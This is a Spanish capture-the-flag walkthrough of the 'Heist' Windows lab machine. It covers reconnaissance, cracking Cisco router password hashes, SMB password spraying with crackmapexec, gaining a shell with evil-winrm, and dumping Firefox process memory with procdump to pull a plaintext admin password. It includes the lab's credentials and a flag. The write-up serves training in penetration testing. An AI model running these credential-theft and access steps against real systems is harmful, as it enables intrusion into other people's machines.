Heist [EASY🟢]
Dificultad: Fácil
1- Reconocimiento y escaneo
1.1 Ping
1.1 Pingping -c 1 10.10.10.149❯ ping -c 1 10.10.10.149
PING 10.10.10.149 (10.10.10.149) 56(84) bytes of data.
64 bytes from 10.10.10.149: icmp_seq=1 ttl=127 time=172 ms
--- 10.10.10.149 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 171.839/171.839/171.839/0.000 msPodemos notar que se trata de una maquina Windows, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)1.2 Nmap
1.2 Nmapnmap -sS -sCV -p- --min-rate 5000 -n -Pn -vvv 10.10.10.149 -oN escaneo.txt❯ nmap -sS -sCV -p- --min-rate 5000 -n -Pn -vvv 10.10.10.149 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 21:23 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:23
Completed NSE at 21:23, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:23
Completed NSE at 21:23, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:23
Completed NSE at 21:23, 0.00s elapsed
Initiating SYN Stealth Scan at 21:23
Scanning 10.10.10.149 [65535 ports]
Discovered open port 135/tcp on 10.10.10.149
Discovered open port 445/tcp on 10.10.10.149
Discovered open port 80/tcp on 10.10.10.149
Discovered open port 49669/tcp on 10.10.10.149
Discovered open port 5985/tcp on 10.10.10.149
Completed SYN Stealth Scan at 21:24, 26.53s elapsed (65535 total ports)
Initiating Service scan at 21:24
Scanning 5 services on 10.10.10.149
Completed Service scan at 21:25, 56.49s elapsed (5 services on 1 host)
NSE: Script scanning 10.10.10.149.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:25
NSE Timing: About 99.86% done; ETC: 21:25 (0:00:00 remaining)
Completed NSE at 21:25, 40.11s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:25
Completed NSE at 21:25, 0.76s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:25
Completed NSE at 21:25, 0.01s elapsed
Nmap scan report for 10.10.10.149
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-09 21:23:40 -03 for 124s
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds? syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 48515/tcp): CLEAN (Timeout)
| Check 2 (port 7618/tcp): CLEAN (Timeout)
| Check 3 (port 25486/udp): CLEAN (Timeout)
| Check 4 (port 14421/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: 1m58s
| smb2-time:
| date: 2025-03-10T00:27:04
|_ start_date: N/A
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:25
Completed NSE at 21:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:25
Completed NSE at 21:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:25
Completed NSE at 21:25, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.61 seconds
Raw packets sent: 131083 (5.768MB) | Rcvd: 23 (1.012KB)Tenemos el puerto 80(Microsoft IIS 10.0) correspondiente a un servidor web, puerto 135 y 139, puertos comunes en Windows, y por ultimo y interesante, el puerto 5985, con este puerto en la fase de explotación y escalado de privilegios podremos conectarnos mediante "evil-winrm"
1.3 whatweb
1.3 whatweb❯ whatweb 10.10.10.149
http://10.10.10.149 [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.149], Microsoft-IIS[10.0], PHP[7.3.1], RedirectLocation[login.php], X-Powered-By[PHP/7.3.1]
http://10.10.10.149/login.php [200 OK] Bootstrap[3.3.7], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.149], JQuery[3.1.1], Microsoft-IIS[10.0], PHP[7.3.1], PasswordField[login_password], Script, Title[Support Login Page], X-Powered-By[PHP/7.3.1]Vemos tecnologias web como:
Boostrap 3.3.7
Microsoft IIS 10.0
JQuery 3.1.1
PHP 7.3.1
Podemos ingresar al sitio web como invitado
1.4 crackmapexec
1.4 crackmapexec❯ crackmapexec smb 10.10.10.149
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)2- Explotación
2.1 Cisco Type 7 Password y John The Ripper
2.1 Cisco Type 7 Password y John The RipperVamos a ingresar al sitio web como invitado:
Tenemos un archivo adjunto en el post del usuario "Hazard" que esta preguntando por su router CISCO, vamos a ver que contiene:
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input sshPodemos ver posibles credenciales:
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408Tenemos usuarios tambien(Incluyendo el usuario "Hazard" que fue el que posteo con el archivo adjunto):
rout3r 0242114B0E143F015F5D1E161713
admin 02375012182C1A1D751618034F36415408
Hazard
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91Vamos a probar crackear estas contraseñas, este hash es un hash que utiliza Cisco en sus router, Cisco lo conoce como hash de tipo 7, tenemos varios sitios webs para crackear estos hashes, en mi caso utilizare la siguiente:
Cisco Type 7 Password Decrypter
Voy a pasarle la contraseña del usuario "rout3r":
Y ahora la del usuario admin:
De tal manera que:
rout3r $uperP@ssword
admin Q4)sJu\Y8qz*A3?d
Hazard
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91Tambien tenemos un hash en la siguiente linea:
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91Parece ser un hash MD5, asi que vamos a almacenarlo en un archivo de texto para posteriormente crackearlo con John The Ripper
❯ nvim hash_secret
❯ cat hash_secret
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: hash_secret
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ $1$pdQG$o8nrSzsGXeaduXrjlvKc91
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────Y ahora vamos a crackearlo con John The Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hash_secret(En mi caso utilizare rockyou como diccionario)
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_secret
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
1g 0:00:00:43 DONE (2025-03-09 22:32) 0.02316g/s 81217p/s 81217c/s 81217C/s stealthy001..steak7893
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Y ahora la lista de usuarios y contraseñas quedaria de la siguiente forma:
rout3r $uperP@ssword
admin Q4)sJu\Y8qz*A3?d
Hazard
stealth1agentVamos a almacenar los usuarios por un lado en un archivo de texto y de igual manera para las contraseñas:
❯ nvim users
❯ nvim passwords
❯ cat users
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: users
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ rout3r
2 │ admin
3 │ Hazard
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ cat passwords
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: passwords
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ $uperP@ssword
2 │ Q4)sJu\Y8qz*A3?d
3 │ stealth1agent
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────2.2 Fuerza bruta con crackmapexec a SMB
2.2 Fuerza bruta con crackmapexec a SMBAhora con estas credenciales potenciales, vamos a utilizar crackmapexec para verificar si algunos de estos usuarios coinciden con las contraseñas anteriormente crackeadas para el servicio SMB que esta corriendo por el puerto 445:
crackmapexec smb 10.10.10.149 -u users -p passwords --continue-on-success(El parámetro "--continue-on-success" es para que cuando detecte unas credenciales validas no se detenga)
❯ crackmapexec smb 10.10.10.149 -u users -p passwords --continue-on-success
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3r:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3r:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Hazard:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Hazard:stealth1agentTenemos unas credenciales validas:
Usuario: Hazard
Password: stealth1agent2.3 impacket-lookupsid
2.3 impacket-lookupsidLuego de intentar las credenciales validas y incluso de listar los recursos compartidos con las credenciales del usuario "hazard" para ver los permisos, no encontré nada interesante, asi que di por sentado que ninguna de las credenciales es valida, asi que vamos a enumerar usuarios de la maquina Windows, mediante el servicio SMB con la herramienta "impacket-lookupsid"
impacket-lookupsid SUPPORTDESK/hazard:stealth1agent@10.10.10.149Primero le especificamos el nombre de la maquina "SUPPORTDESK" que vimos en la fase de reconocimiento y escaneo con la herramienta crackmapexec, luego el usuario y la contraseña y por ultimo la dirección IP
❯ impacket-lookupsid SUPPORTDESK/hazard:stealth1agent@10.10.10.149
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)Vemos 3 usuarios interesantes:
support
Chase
JasonAsi que vamos a agregarlos al archivo de texto "users" previamente creado para volver a utilzar crackmapexec y realizar fuerza bruta:
❯ nvim users
❯ cat users
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: users
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ rout3r
2 │ admin
3 │ Hazard
4 │ support
5 │ Chase
6 │ Jason
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────Y volvemos a utilizar el mismo comando de antes con crackmapexec:
crackmapexec smb 10.10.10.149 -u users -p passwords --continue-on-success❯ crackmapexec smb 10.10.10.149 -u users -p passwords --continue-on-success
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3r:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3r:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Hazard:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Hazard:stealth1agent
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Chase:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Chase:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Jason:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Jason:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Jason:stealth1agent STATUS_LOGON_FAILUREY ahora tambien tenemos las credenciales del usuario "Chase":
Usuario: Chase
Contraseña: Q4)sJu\Y8qz*A3?dVamos a validar con crackmapexec si las credenciales son validas y si nos da como resultado al final de la validación (PWN3D!), podremos conectarnos mediante "evil-winrm", debido a que el puerto 5985 se encuentra abierto y si el usuario pertenece al grupo de "Remote Management Users":
crackmapexec winrm 10.10.10.149 -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d'❯ crackmapexec winrm 10.10.10.149 -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d'
SMB 10.10.10.149 5985 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
HTTP 10.10.10.149 5985 SUPPORTDESK [*] http://10.10.10.149:5985/wsman
WINRM 10.10.10.149 5985 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)Podemos conectarnos mediante "evil-winrm"
2.4 Shell con evil-winrm
2.4 Shell con evil-winrmVamos a conectarnos con "evil-winrm" con las credenciales obtenidas del usuario "Chase":
evil-winrm -i 10.10.10.149 -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d'❯ evil-winrm -i 10.10.10.149 -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents> 2.5 Obtención de la flag user
2.5 Obtención de la flag userLa flag de user se encuentra dentro de la ruta absoluta "C:\Users\Chase\Desktop\user.txt":
*Evil-WinRM* PS C:\Users\Chase\Documents> type "C:\Users\Chase\Desktop\user.txt"
b3d11a2c5f909fbefe85146fbb5279af
*Evil-WinRM* PS C:\Users\Chase\Documents> Si ejecutamos "net user Chase", veremos que se encuentra dentro del grupo "Remote Management Users":
*Evil-WinRM* PS C:\Users\Chase\Documents> net user Chase
User name Chase
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 4/22/2019 8:20:32 AM
Password expires Never
Password changeable 4/22/2019 8:20:32 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 3/10/2025 7:33:57 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use*Users <-------
Global Group memberships *None
The command completed successfully.
*Evil-WinRM* PS C:\Users\Chase\Documents> 3- Escalado de privilegios
3.1 procdump64 (Volcado de datos de un proceso en Windows)
3.1 procdump64 (Volcado de datos de un proceso en Windows)Vamos a listar los procesos que se encuentran activos dentro de la maquina:
*Evil-WinRM* PS C:\Users\Chase\Documents> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
459 18 2304 5460 372 0 csrss
290 13 2280 5196 484 1 csrss
357 15 3444 14352 5056 1 ctfmon
254 14 4012 13416 3764 0 dllhost
166 9 1884 9600 0.05 6776 1 dllhost
617 32 29992 58148 972 1 dwm
1493 58 23916 78744 4408 1 explorer
355 25 16396 38828 0.06 5860 1 firefox
1069 70 151636 228032 5.91 6472 1 firefox
347 19 10196 38592 0.08 6588 1 firefox
401 34 32292 92632 0.98 6712 1 firefox
378 28 22424 58984 0.48 7000 1 firefox
49 6 1788 4592 784 1 fontdrvhost
49 6 1516 3856 792 0 fontdrvhost
0 0 56 8 0 0 Idle
968 22 5668 14724 632 0 lsass
223 13 3060 10204 3740 0 msdtc
0 12 412 15300 88 0 Registry
145 8 1608 7248 5504 1 RuntimeBroker
302 16 5584 16956 5568 1 RuntimeBroker
276 14 3080 14848 5976 1 RuntimeBroker
675 32 19836 62028 5404 1 SearchUI
538 11 5268 9856 616 0 services
706 29 15264 52236 5304 1 ShellExperienceHost
437 17 4740 23820 4748 1 sihost
53 3 524 1160 268 0 smss
471 22 5800 16244 2344 0 spoolsv
286 13 5364 11976 64 0 svchost
115 7 1236 5168 468 0 svchost
199 12 1976 9316 488 0 svchost
149 9 1712 11376 700 0 svchost
85 5 876 3784 740 0 svchost
861 20 6924 22256 760 0 svchost
854 16 4996 11536 872 0 svchost
254 11 1996 7436 920 0 svchost
249 14 3076 13668 968 0 svchost
377 13 10768 14616 1032 0 svchost
223 11 2804 10848 1048 0 svchost
140 7 1300 5576 1132 0 svchost
123 15 3316 7192 1200 0 svchost
211 9 2140 7392 1232 0 svchost
184 9 1772 7380 1252 0 svchost
228 12 2576 11180 1260 0 svchost
431 9 2836 8908 1276 0 svchost
154 7 1208 5516 1292 0 svchost
127 7 1564 6212 1308 0 svchost
170 10 1764 7864 1384 0 svchost
339 13 4276 11492 1424 0 svchost
238 11 2432 9616 1440 0 svchost
368 18 4960 14020 1456 0 svchost
243 13 3240 8388 1472 0 svchost
302 11 2004 8636 1480 0 svchost
321 10 2448 8248 1564 0 svchost
191 12 2048 11828 1576 0 svchost
163 10 2348 7344 1628 0 svchost
396 31 8756 16812 1716 0 svchost
194 11 2000 8096 1816 0 svchost
160 8 2076 7188 1864 0 svchost
479 20 12680 27052 2424 0 svchost
261 13 2556 7764 2432 0 svchost
400 16 10956 19876 2440 0 svchost
179 22 2496 9712 2448 0 svchost
166 12 3916 10692 2456 0 svchost
133 9 1632 6484 2528 0 svchost
136 8 1424 6040 2548 0 svchost
126 8 1228 5264 2588 0 svchost
205 11 2292 8272 2596 0 svchost
209 12 1864 7368 2656 0 svchost
231 14 4628 11692 2704 0 svchost
267 19 3244 12112 2712 0 svchost
168 10 2152 13160 2724 0 svchost
462 16 3280 11616 2832 0 svchost
381 23 3344 12120 3060 0 svchost
353 19 14920 31468 4064 0 svchost
162 9 4252 12032 4292 0 svchost
230 12 3088 13504 4760 1 svchost
371 18 5584 26912 4784 1 svchost
210 11 2860 11820 4964 0 svchost
171 9 1492 7232 4996 0 svchost
193 15 6024 9996 5356 0 svchost
167 11 2356 12972 5804 0 svchost
163 9 3036 7596 5816 0 svchost
309 16 14516 16640 6188 0 svchost
312 20 9200 14236 6316 0 svchost
122 7 1212 5508 6420 0 svchost
254 13 3396 12628 7052 0 svchost
1889 0 188 136 4 0 System
206 20 3776 11852 5016 1 taskhostw
167 11 2900 10904 2632 0 VGAuthService
142 8 1684 6864 2668 0 vm3dservice
136 9 1812 7368 3104 1 vm3dservice
383 22 9536 21932 2640 0 vmtoolsd
236 18 5080 15004 6200 1 vmtoolsd
171 11 1452 6868 476 0 wininit
280 13 2812 12724 540 1 winlogon
350 16 8592 18268 3980 0 WmiPrvSE
1737 27 77640 95040 0.95 4452 0 wsmprovhostPodemos ver que dentro de la maquina se encuentra el Firefox abierto:
355 25 16396 38828 0.06 5860 1 firefox
1069 70 151636 228032 5.91 6472 1 firefox
347 19 10196 38592 0.08 6588 1 firefox
401 34 32292 92632 0.98 6712 1 firefox
378 28 22424 58984 0.48 7000 1 firefoxCon los PIDs 5860, 6472, 6588, 6712 y 7000, en mi caso utilizare el PID 5860
Para hacer un volcado de datos, vamos a utilizar la herramienta "procdump64", ya que si recordamos en la fase de reconocimiento y escaneo con crackmapexec, la maquina era de 64 bits
Nos descargara un archivo .ZIP
❯ ls
lab_ttomiid.ovpn Procdump.zipVamos a descomprimirlo en el directorio donde hayamos dejado la ultima vez que nos conectamos con "evil-winrm":
❯ mv Procdump.zip /home/t0mz/CTF/heist/content
❯ cd /home/t0mz/CTF/heist/content
❯ ls
hash_secret passwords Procdump.zip users
❯ unzip Procdump.zip
Archive: Procdump.zip
inflating: procdump.exe
inflating: procdump64.exe
inflating: procdump64a.exe
inflating: Eula.txt
❯ ls
Eula.txt hash_secret passwords procdump.exe Procdump.zip procdump64.exe procdump64a.exe usersEn nuestro caso, como mencione anteriormente nos interesa concretamente el archivo "procdump64.exe", asi que vamos a subirlo a la maquina con el comando "upload" que viene integrado a la herramienta de "evil-winrm":
*Evil-WinRM* PS C:\Users\Chase\Desktop> upload /home/t0mz/CTF/heist/content/procdump64.exe
Info: Uploading /home/t0mz/CTF/heist/content/procdump64.exe to C:\Users\Chase\Desktop\procdump64.exe
Data: 566472 bytes of 566472 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\Chase\Desktop> dir
Directory: C:\Users\Chase\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/10/2025 8:07 AM 424856 procdump64.exe
-a---- 4/22/2019 9:08 AM 121 todo.txt
-ar--- 3/10/2025 5:53 AM 34 user.txt
*Evil-WinRM* PS C:\Users\Chase\Desktop> Vamos a ejecutarlo con el siguiente comando:
.\procdump64.exe -accepteula -ma 5860*Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe -accepteula -ma 5860
ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[08:08:20] Dump 1 initiated: C:\Users\Chase\Desktop\firefox.exe_250310_080820.dmp
[08:08:20] Dump 1 writing: Estimated dump file size is 298 MB.
[08:08:23] Dump 1 complete: 298 MB written in 3.1 seconds
[08:08:24] Dump count reached.
*Evil-WinRM* PS C:\Users\Chase\Desktop> dir
Directory: C:\Users\Chase\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/10/2025 8:08 AM 304638365 firefox.exe_250310_080820.dmp
-a---- 3/10/2025 8:07 AM 424856 procdump64.exe
-a---- 4/22/2019 9:08 AM 121 todo.txt
-ar--- 3/10/2025 5:53 AM 34 user.txt
*Evil-WinRM* PS C:\Users\Chase\Desktop> Nos creo el volcado de datos del PID 5860, correspondiente al Firefox que se encuentra abierto en la maquina(firefox.exe_250310_080820.dmp)
Y ahora para bajarnos ese archivo y visualizarlo como binario con el comando "strings", vamos a utilizar el comando "download":
*Evil-WinRM* PS C:\Users\Chase\Desktop> download firefox.exe_250310_080820.dmp
Info: Downloading C:\Users\Chase\Desktop\firefox.exe_250310_080820.dmp to firefox.exe_250310_080820.dmp
Progress: 0% : |▒░░░░░░░░░░| Aunque esto va a tardar mucho, asi que mientras se va descargando y aumentando el tamaño del archivo, vamos a ir visualizandolo con "strings" y aplicando un "grep" a la palabra clave "password":
strings firefox.exe_250310_080820.dmp | grep password❯ strings firefox.exe_250310_080820.dmp | grep password
security.ask_for_password
services.sync.engine.passwords.validation.percentageChance
security.insecure_password.ui.enabled
urlclassifier.passwordAllowTable
editor.password.testing.mask_delay
services.sync.engine.passwords.validation.interval
security.password_lifetime
editor.password.mask_delay
browser.safebrowsing.passwords.enabled
services.sync.engine.passwords
privacy.cpd.passwords
services.sync.engine.passwords.validation.maxRecords
goog-badbinurl-proto,goog-downloadwhite-proto,goog-phish-proto,googpub-phish-proto,goog-malware-proto,goog-unwanted-proto,goog-harmful-proto,goog-passwordwhite-proto
goog-passwordwhite-proto
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
chrome://passwordmgr/content/recipes.json
goog-downloadwhite-digest256,base-track-digest256,mozstd-trackwhite-digest256,content-track-digest256,mozplugin-block-digest256,mozplugin2-block-digest256,block-flash-digest256,except-flash-digest256,allow-flashallow-digest256,except-flashallow-digest256,block-flashsubdoc-digest256,except-flashsubdoc-digest256,goog-passwordwhite-proto,ads-track-digest256,social-track-digest256,analytics-track-digest256,base-fingerprinting-track-digest256,content-fingerprinting-track-digest256,base-cryptomining-track-digest256,content-cryptomining-track-digest256,fanboyannoyance-ads-digest256,fanboysocial-ads-digest256,easylist-ads-digest256,easyprivacy-ads-digest256,adguard-ads-digest256,social-tracking-protection-digest256,social-tracking-protection-facebook-digest256,social-tracking-protection-linkedin-digest256,social-tracking-protection-twitter-digest256
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
localization/en-US/toolkit/passwordmgr/passwordManagerList.ftlPK
modules/services-sync/engines/passwords.jsPK
chrome/toolkit/content/passwordmgr/passwordManager.jsPK
chrome/toolkit/content/passwordmgr/passwordManager.xulPK
chrome/toolkit/content/passwordmgr/recipes.jsonPK
chrome/toolkit/skin/classic/global/passwordmgr.cssPK
chrome/pippki/content/pippki/changepassword.jsPK
chrome/pippki/content/pippki/changepassword.xhtmlPK
chrome/pippki/content/pippki/resetpassword.jsPK
chrome/pippki/content/pippki/resetpassword.xhtmlPK
chrome/pippki/content/pippki/setp12password.jsPK
chrome/pippki/content/pippki/setp12password.xhtmlPK
chrome/en-US/locale/en-US/passwordmgr/passwordmgr.propertiesPK
pref("security.ask_for_password", 0);
pref("security.password_lifetime", 30);
pref("signon.recipes.path", "chrome://passwordmgr/content/recipes.json");
// This temporarily prevents the master password to reprompt for autocomplete.
pref("urlclassifier.passwordAllowTable", "goog-passwordwhite-proto");
